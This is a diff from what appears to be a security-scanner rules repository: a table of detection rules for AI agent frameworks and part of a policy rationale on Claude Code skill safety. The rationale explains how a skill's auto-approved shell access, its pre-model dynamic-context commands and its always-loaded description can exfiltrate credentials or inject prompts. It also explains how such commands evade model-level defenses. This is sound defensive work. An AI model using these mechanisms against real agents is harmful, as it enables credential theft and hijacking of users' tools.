| ADK-009 | Google ADK | tool | adk_function_tool | FunctionTool body prints to stdout | low | 0.70 | 10.5 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | +| 72 | ADK-010 | Google ADK | tool | adk_function_tool | Tool body spawns a subprocess | high | 0.90 | 63.0 | [google_adk/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/shell_safety.yaml) | +| 73 | ADK-011 | Google ADK | tool | adk_function_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.90 | 63.0 | [google_adk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/code_execution.yaml) | +| 74 | ADK-012 | Google ADK | tool | adk_function_tool | Tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [google_adk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/ssrf.yaml) | +| 75 | ADK-013 | Google ADK | tool | adk_function_tool | TypeScript FunctionTool has no description | low | 0.80 | 12.0 | [google_adk/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/tool_definition.yaml) | +| 76 | ADK-015 | Google ADK | tool | adk_function_tool | TypeScript FunctionTool body evaluates dynamic code | high | 0.90 | 63.0 | [google_adk/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/code_execution.yaml) | +| 77 | ADK-016 | Google ADK | tool | adk_function_tool | TypeScript FunctionTool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [google_adk/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/ssrf.yaml) | +| 78 | ADK-101 | Google ADK | agent | adk_llm_agent | LlmAgent has no description | medium | 0.85 | 34.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 79 | ADK-102 | Google ADK | agent | adk_llm_agent | Agent with BashTool has no before_tool_callback | high | 0.85 | 59.5 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 80 | ADK-103 | Google ADK | agent | adk_llm_agent | Sub-agent is granted BashTool | high | 0.90 | 63.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 81 | ADK-104 | Google ADK | agent | adk_llm_agent | Agent has no safety_settings | medium | 0.75 | 30.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 82 | ADK-105 | Google ADK | agent | adk_llm_agent | Agent uses web search built-in without before_tool_callback | high | 0.85 | 59.5 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 83 | ADK-106 | Google ADK | agent | adk_llm_agent | Agent has a code_executor but no before_model_callback | high | 0.80 | 56.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 84 | ADK-107 | Google ADK | agent | adk_llm_agent | Agent grants AgentTool but has no before_tool_callback | high | 0.70 | 49.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 85 | ADK-108 | Google ADK | agent | adk_loop_agent | LoopAgent has no max_iterations | medium | 0.70 | 28.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 86 | ADK-109 | Google ADK | agent | adk_llm_agent | TypeScript LlmAgent has no description | medium | 0.85 | 34.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 87 | ADK-110 | Google ADK | agent | adk_llm_agent | Agent fetches web content via UrlContextTool/LoadWebPage without before_tool_callback | medium | 0.70 | 28.0 | [google_adk/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/agent_safety.yaml) | +| 88 | ADK-201 | Google ADK | repo | google_adk | Google ADK project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [google_adk/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/google_adk/repo_hygiene.yaml) | +| 89 | MCP-001 | MCP | tool | mcp_tool | Tool has no description | low | 0.90 | 13.5 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 90 | MCP-002 | MCP | tool | mcp_tool | Tool has no type-annotated parameters | medium | 0.85 | 34.0 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 91 | MCP-003 | MCP | tool | mcp_tool | Ambiguous tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 92 | MCP-004 | MCP | tool | mcp_tool | Network call has no timeout | high | 0.85 | 59.5 | [mcp/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/network.yaml) | +| 93 | MCP-005 | MCP | tool | mcp_tool | Path parameter used in I/O without validation | high | 0.70 | 49.0 | [mcp/path_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/path_safety.yaml) | +| 94 | MCP-006 | MCP | tool | mcp_tool | Tool raises exceptions without a structured error contract | low | 0.60 | 9.0 | [mcp/error_handling.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/error_handling.yaml) | +| 95 | MCP-007 | MCP | tool | mcp_tool | Mutating tool has no idempotency key | medium | 0.55 | 22.0 | [mcp/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/idempotency.yaml) | +| 96 | MCP-008 | MCP | tool | mcp_tool | Tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [mcp/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/ssrf.yaml) | +| 97 | MCP-009 | MCP | tool | mcp_tool | Tool body calls eval/exec/compile on dynamic input | high | 0.85 | 59.5 | [mcp/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/code_execution.yaml) | +| 98 | MCP-010 | MCP | tool | mcp_tool | Tool body spawns a subprocess | high | 0.70 | 49.0 | [mcp/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/shell_safety.yaml) | +| 99 | MCP-011 | MCP | tool | mcp_tool | TypeScript MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 100 | MCP-012 | MCP | tool | mcp_tool | TypeScript MCP tool spawns a subprocess | high | 0.70 | 49.0 | [mcp/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/shell_safety.yaml) | +| 101 | MCP-013 | MCP | tool | mcp_tool | TypeScript MCP tool fetches a caller-controlled URL (SSRF) | high | 0.60 | 42.0 | [mcp/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/ssrf.yaml) | +| 102 | MCP-014 | MCP | tool | mcp_tool | TypeScript MCP tool evaluates dynamic code | high | 0.90 | 63.0 | [mcp/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/code_execution.yaml) | +| 103 | MCP-015 | MCP | tool | mcp_tool | Go MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 104 | MCP-016 | MCP | tool | mcp_tool | Ambiguous Go MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 105 | MCP-017 | MCP | tool | mcp_tool | C# MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 106 | MCP-018 | MCP | tool | mcp_tool | Ambiguous C# MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 107 | MCP-019 | MCP | tool | mcp_tool | PHP MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 108 | MCP-020 | MCP | tool | mcp_tool | Ambiguous PHP MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 109 | MCP-021 | MCP | tool | mcp_tool | Rust MCP tool has no description | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 110 | MCP-022 | MCP | tool | mcp_tool | Ambiguous Rust MCP tool name | low | 0.85 | 12.8 | [mcp/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/mcp/tool_definition.yaml) | +| 111 | LC-001 | LangChain | tool | langchain_tool | LangChain tool has no description | low | 0.80 | 12.0 | [langchain/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_definition.yaml) | +| 112 | LC-002 | LangChain | tool | langchain_tool | LangChain tool parameters are not type-annotated | medium | 0.85 | 34.0 | [langchain/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_definition.yaml) | +| 113 | LC-003 | LangChain | tool | langchain_tool | LangChain tool body spawns a subprocess | high | 0.85 | 59.5 | [langchain/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/shell_safety.yaml) | +| 114 | LC-004 | LangChain | tool | langchain_tool | LangChain tool body evaluates dynamic code | high | 0.85 | 59.5 | [langchain/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/code_execution.yaml) | +| 115 | LC-005 | LangChain | tool | langchain_tool | LangChain tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [langchain/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/ssrf.yaml) | +| 116 | LC-006 | LangChain | tool | langchain_tool | LangChain tool returns its output directly, bypassing the model | medium | 0.80 | 32.0 | [langchain/tool_behavior.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_behavior.yaml) | +| 117 | LC-010 | LangChain | tool | langchain_tool | TypeScript LangChain tool has no description | low | 0.80 | 12.0 | [langchain/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_definition.yaml) | +| 118 | LC-011 | LangChain | tool | langchain_tool | TypeScript LangChain tool body spawns a subprocess | high | 0.85 | 59.5 | [langchain/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/shell_safety.yaml) | +| 119 | LC-012 | LangChain | tool | langchain_tool | TypeScript LangChain tool evaluates dynamic code | high | 0.85 | 59.5 | [langchain/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/code_execution.yaml) | +| 120 | LC-013 | LangChain | tool | langchain_tool | TypeScript LangChain tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [langchain/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/ssrf.yaml) | +| 121 | LC-014 | LangChain | tool | langchain_tool | TypeScript LangChain tool returns its output directly, bypassing the model | medium | 0.80 | 32.0 | [langchain/tool_behavior.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/tool_behavior.yaml) | +| 122 | LC-101 | LangChain | agent | langchain_agent, langchain_agent_executor | LangChain agent wires a code-execution or shell built-in tool | high | 0.85 | 59.5 | [langchain/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/agent_safety.yaml) | +| 123 | LC-102 | LangChain | agent | langchain_agent_executor | LangChain AgentExecutor has no explicit max_iterations limit | low | 0.60 | 9.0 | [langchain/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/agent_safety.yaml) | +| 124 | LC-111 | LangChain | agent | langchain_agent_executor | TypeScript LangChain AgentExecutor has no explicit maxIterations limit | low | 0.60 | 9.0 | [langchain/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/agent_safety.yaml) | +| 125 | LC-201 | LangChain | repo | langchain | LangChain project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [langchain/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/langchain/repo_hygiene.yaml) | +| 126 | CREW-001 | CrewAI | tool | crewai_tool | CrewAI tool has no description | low | 0.90 | 13.5 | [crewai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/tool_definition.yaml) | +| 127 | CREW-002 | CrewAI | tool | crewai_tool | CrewAI tool parameters are not type-annotated | medium | 0.85 | 34.0 | [crewai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/tool_definition.yaml) | +| 128 | CREW-003 | CrewAI | tool | crewai_tool | CrewAI tool body evaluates dynamic code | high | 0.85 | 59.5 | [crewai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/code_execution.yaml) | +| 129 | CREW-004 | CrewAI | tool | crewai_tool | CrewAI tool body spawns a subprocess | high | 0.85 | 59.5 | [crewai/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/shell_safety.yaml) | +| 130 | CREW-005 | CrewAI | tool | crewai_tool | CrewAI tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [crewai/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/ssrf.yaml) | +| 131 | CREW-006 | CrewAI | tool | crewai_tool | Mutating CrewAI tool has no idempotency key | medium | 0.55 | 22.0 | [crewai/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/idempotency.yaml) | +| 132 | CREW-101 | CrewAI | agent | crewai_agent | CrewAI agent enables built-in code execution | high | 0.90 | 63.0 | [crewai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/agent_safety.yaml) | +| 133 | CREW-102 | CrewAI | agent | crewai_agent | CrewAI agent runs code execution in unsafe mode | high | 0.90 | 63.0 | [crewai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/agent_safety.yaml) | +| 134 | CREW-103 | CrewAI | agent | crewai_agent | CrewAI agent wires the code-interpreter built-in tool | high | 0.85 | 59.5 | [crewai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/code_execution.yaml) | +| 135 | CREW-104 | CrewAI | agent | crewai_agent | CrewAI agent allows delegation to peer agents | medium | 0.75 | 30.0 | [crewai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/agent_safety.yaml) | +| 136 | CREW-106 | CrewAI | agent | crewai_agent | CrewAI agent grants an unconstrained FileReadTool | high | 0.70 | 49.0 | [crewai/dangerous_tools.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/dangerous_tools.yaml) | +| 137 | CREW-107 | CrewAI | agent | crewai_agent | CrewAI agent wires a tool that fetches model-chosen URLs | medium | 0.70 | 28.0 | [crewai/dangerous_tools.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/dangerous_tools.yaml) | +| 138 | CREW-108 | CrewAI | tool | crewai_tool | CrewAI tool returns its output as the final answer | medium | 0.60 | 24.0 | [crewai/tool_behavior.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/tool_behavior.yaml) | +| 139 | CREW-201 | CrewAI | repo | crewai | CrewAI project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [crewai/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/crewai/repo_hygiene.yaml) | +| 140 | AG2-001 | AutoGen | agent | autogen_conversable_agent, autogen_user_proxy_agent | AutoGen executor runs code on the host without Docker | high | 0.90 | 63.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | +| 141 | AG2-002 | AutoGen | agent | autogen_conversable_agent, autogen_user_proxy_agent | AutoGen executor runs code with no human review (human_input_mode=NEVER) | high | 0.85 | 59.5 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | +| 142 | AG2-004 | AutoGen | agent | autogen_group_chat_manager | AutoGen GroupChatManager has no explicit max_round bound | low | 0.60 | 9.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | +| 143 | AG2-005 | AutoGen | agent | autogen_assistant_agent | AutoGen AssistantAgent enables code execution on the LLM agent | medium | 0.70 | 28.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | +| 144 | AG2-006 | AutoGen | agent | autogen_conversable_agent, autogen_user_proxy_agent | AutoGen executor with code execution has no explicit auto-reply cap | medium | 0.70 | 28.0 | [autogen/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/agent_safety.yaml) | +| 145 | AG2-007 | AutoGen | tool | autogen_tool | AutoGen tool has no description | low | 0.90 | 13.5 | [autogen/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/tool_definition.yaml) | +| 146 | AG2-008 | AutoGen | tool | autogen_tool | AutoGen tool parameters are not type-annotated | medium | 0.85 | 34.0 | [autogen/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/tool_definition.yaml) | +| 147 | AG2-009 | AutoGen | tool | autogen_tool | AutoGen tool body spawns a subprocess | high | 0.85 | 59.5 | [autogen/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/shell_safety.yaml) | +| 148 | AG2-010 | AutoGen | tool | autogen_tool | AutoGen tool body evaluates dynamic code | high | 0.85 | 59.5 | [autogen/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/code_execution.yaml) | +| 149 | AG2-011 | AutoGen | tool | autogen_tool | AutoGen tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [autogen/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/ssrf.yaml) | +| 150 | AG2-012 | AutoGen | tool | autogen_tool | AutoGen tool network call has no timeout | high | 0.85 | 59.5 | [autogen/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/network.yaml) | +| 151 | AG2-201 | AutoGen | repo | autogen | AutoGen project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [autogen/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/autogen/repo_hygiene.yaml) | +| 152 | VAI-001 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool execute() spawns a subprocess | high | 0.85 | 59.5 | [vercel_ai/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/shell_safety.yaml) | +| 153 | VAI-002 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool execute() evaluates code (eval / new Function) | high | 0.90 | 63.0 | [vercel_ai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/code_execution.yaml) | +| 154 | VAI-003 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool execute() fetches a model-controlled URL | high | 0.75 | 52.5 | [vercel_ai/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/ssrf.yaml) | +| 155 | VAI-004 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool has no description | low | 0.90 | 13.5 | [vercel_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/tool_definition.yaml) | +| 156 | VAI-005 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool accepts untyped input | medium | 0.80 | 32.0 | [vercel_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/tool_definition.yaml) | +| 157 | VAI-006 | Vercel AI | agent | vercel_ai_agent | Vercel AI agent wires a provider shell / computer / code-execution tool | high | 0.85 | 59.5 | [vercel_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/agent_safety.yaml) | +| 158 | VAI-007 | Vercel AI | agent | vercel_ai_agent | Vercel AI agent tool loop has no explicit step bound | low | 0.60 | 9.0 | [vercel_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/agent_safety.yaml) | +| 159 | VAI-008 | Vercel AI | agent | vercel_ai_agent | Vercel AI agent forces a provider execution tool every step | medium | 0.65 | 26.0 | [vercel_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/agent_safety.yaml) | +| 160 | VAI-011 | Vercel AI | tool | vercel_ai_tool | Vercel AI tool HTTP call has no timeout | high | 0.60 | 42.0 | [vercel_ai/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/network.yaml) | +| 161 | VAI-012 | Vercel AI | repo | vercel_ai | Vercel AI project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [vercel_ai/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/vercel_ai/repo_hygiene.yaml) | +| 162 | PYD-001 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool has no description | low | 0.90 | 13.5 | [pydantic_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/tool_definition.yaml) | +| 163 | PYD-002 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool parameters are not type-annotated | medium | 0.85 | 34.0 | [pydantic_ai/tool_definition.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/tool_definition.yaml) | +| 164 | PYD-003 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool body spawns a subprocess | high | 0.85 | 59.5 | [pydantic_ai/shell_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/shell_safety.yaml) | +| 165 | PYD-004 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool body evaluates dynamic code | high | 0.85 | 59.5 | [pydantic_ai/code_execution.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/code_execution.yaml) | +| 166 | PYD-005 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool fetches a caller-controlled URL (SSRF) | high | 0.80 | 56.0 | [pydantic_ai/ssrf.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/ssrf.yaml) | +| 167 | PYD-006 | Pydantic AI | tool | pydantic_ai_tool | Pydantic AI tool network call has no timeout | high | 0.85 | 59.5 | [pydantic_ai/network.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/network.yaml) | +| 168 | PYD-007 | Pydantic AI | tool | pydantic_ai_tool | Mutating Pydantic AI tool has no idempotency key | medium | 0.55 | 22.0 | [pydantic_ai/idempotency.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/idempotency.yaml) | +| 169 | PYD-101 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent has no structured output validation | low | 0.70 | 10.5 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | +| 170 | PYD-102 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent wires the code-execution native tool | high | 0.85 | 59.5 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | +| 171 | PYD-103 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent wires a model-driven URL-fetching native tool | medium | 0.75 | 30.0 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | +| 172 | PYD-105 | Pydantic AI | agent | pydantic_ai_agent | Pydantic AI agent retries with the exhaustive end strategy | low | 0.70 | 10.5 | [pydantic_ai/agent_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/agent_safety.yaml) | +| 173 | PYD-201 | Pydantic AI | repo | pydantic_ai | Pydantic AI project ships no agent-guidance doc (AGENTS.md/CLAUDE.md) | low | 0.90 | 13.5 | [pydantic_ai/repo_hygiene.yaml](https://github.com/trustabl/trustabl-rules/blob/main/pydantic_ai/repo_hygiene.yaml) | +| 174 | CSKILL-001 | claude_skill | skill | claude_skill | Skill auto-approves unrestricted shell | critical | 0.95 | 95.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 175 | CSKILL-002 | claude_skill | skill | claude_skill | Skill runs shell during load (dynamic-context execution) | high | 0.90 | 63.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 176 | CSKILL-003 | claude_skill | skill | claude_skill | Dynamic-context command performs network egress or reads secrets | critical | 0.85 | 85.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 177 | CSKILL-010 | claude_skill | skill | claude_skill | Bundled skill script performs network egress | high | 0.70 | 49.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 178 | CSKILL-011 | claude_skill | skill | claude_skill | Bundled skill script reads credentials or secrets | critical | 0.80 | 80.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 179 | CSKILL-020 | claude_skill | skill | claude_skill | Skill fetches untrusted external content | medium | 0.70 | 28.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 180 | CSKILL-040 | claude_skill | skill | claude_skill | Skill body contains prompt-injection markers | medium | 0.60 | 24.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | +| 181 | CSKILL-050 | claude_skill | skill | claude_skill | Model-invocable skill grants side-effecting tools | high | 0.80 | 56.0 | [claude_skill/skill_safety.yaml](https://github.com/trustabl/trustabl-rules/blob/main/claude_skill/skill_safety.yaml) | diff --git a/docs/Policy/claude_skill/skill_safety.md b/docs/Policy/claude_skill/skill_safety.md new file mode 100644 index 0000000..4573511 --- /dev/null +++ b/docs/Policy/claude_skill/skill_safety.md @@ -0,0 +1,296 @@ +--- +policy_id: claude_skill_safety +category: claude_skill +topic: skill_safety +rules: + - id: CSKILL-001 + severity: critical + confidence: 0.95 + scope: skill + fix_type: config + - id: CSKILL-002 + severity: high + confidence: 0.9 + scope: skill + fix_type: config + - id: CSKILL-003 + severity: critical + confidence: 0.85 + scope: skill + fix_type: config + - id: CSKILL-010 + severity: high + confidence: 0.7 + scope: skill + fix_type: code + - id: CSKILL-011 + severity: critical + confidence: 0.8 + scope: skill + fix_type: code + - id: CSKILL-020 + severity: medium + confidence: 0.7 + scope: skill + fix_type: config + - id: CSKILL-040 + severity: medium + confidence: 0.6 + scope: skill + fix_type: config + - id: CSKILL-050 + severity: high + confidence: 0.8 + scope: skill + fix_type: config +references: [LLM01, LLM02, LLM03, LLM06] +--- + +# Policy Rationale: Agent Skill Safety + +**Policy ID:** `claude_skill_safety` +**File:** `claude_skill/skill_safety.yaml` +**Rules:** CSKILL-001, CSKILL-002, CSKILL-003, CSKILL-010, CSKILL-011, CSKILL-020, CSKILL-040, CSKILL-050 +**Severities:** critical, high, critical, high, critical, medium, medium, high +**Fix types:** config (SKILL.md edits) + code (bundled-script edits for CSKILL-010/011) +**References:** LLM01, LLM02, LLM03, LLM06 + +> Bundled-script content analysis now ships (CSKILL-010/011: network egress and +> credential reads inside bundled scripts). Hardcoded-secret scanning +> (CSKILL-030) and description-vs-capability matching remain planned — they need +> further discovery (secret scanning; heuristic capability comparison) — and are +> not yet shipped. + +--- + +## What this policy covers + +Claude Code **Agent Skills** — `SKILL.md` folders discovered at any depth +(`.claude/skills//SKILL.md`, personal `~/.claude/skills/`, plugin +`skills/`, and the merged `.claude/commands/*.md` form). These rules fire per +skill (`scope: skill`) against the parsed frontmatter and the markdown body, via +predicates over the discovered `SkillDef`. Because the surface is markdown, the +rules carry no `language:` field and fire regardless of the surrounding codebase. + +A skill is a uniquely potent supply-chain surface: its `description` is **always +loaded into Claude's context**, its body loads on trigger, and it can carry +auto-approved tool grants, bundled executable scripts, and — in Claude Code — +**dynamic-context shell commands that run before the model ever sees the +skill**. Empirical study of public skill marketplaces (Snyk ToxicSkills, 2026) +found a security flaw in roughly a third of skills, with script-bundling skills +markedly worse than instruction-only ones. Skills are third-party code you +execute; these rules flag the patterns that make a skill dangerous on +activation. + +--- + +## Why skill frontmatter and body are a distinct concern + +Two Claude Code mechanics make a skill more dangerous than ordinary prose: + +1. **`allowed-tools` is auto-approval, not a sandbox.** Claude Code docs are + explicit: while a skill is active, `allowed-tools` grants the listed tools + *without prompting* — it does not restrict the tool pool. `allowed-tools: + Bash(*)` therefore auto-runs any shell command. (OWASP LLM06, excessive + agency.) + +2. **Dynamic-context injection runs pre-model.** A `` !`` `` line or a + ` ```! ` fenced block in `SKILL.md` is executed *during preprocessing, before + the rendered skill reaches the model* — "this is preprocessing, not something + Claude executes." Model-level prompt-injection defenses never see it; "the + model may later refuse to continue, but by then the command has already + executed." A dynamic-context command that reads a credential and POSTs it to + an external host completes the exfiltration during skill load. (LLM01 + + LLM02.) + +On top of these, a skill's always-loaded `description` and on-trigger body are a +prompt-injection channel (LLM01), and external URLs in the body pull +attacker-controllable content into the loop (LLM01) and double as exfiltration +endpoints. Skills spread by sharing and forking 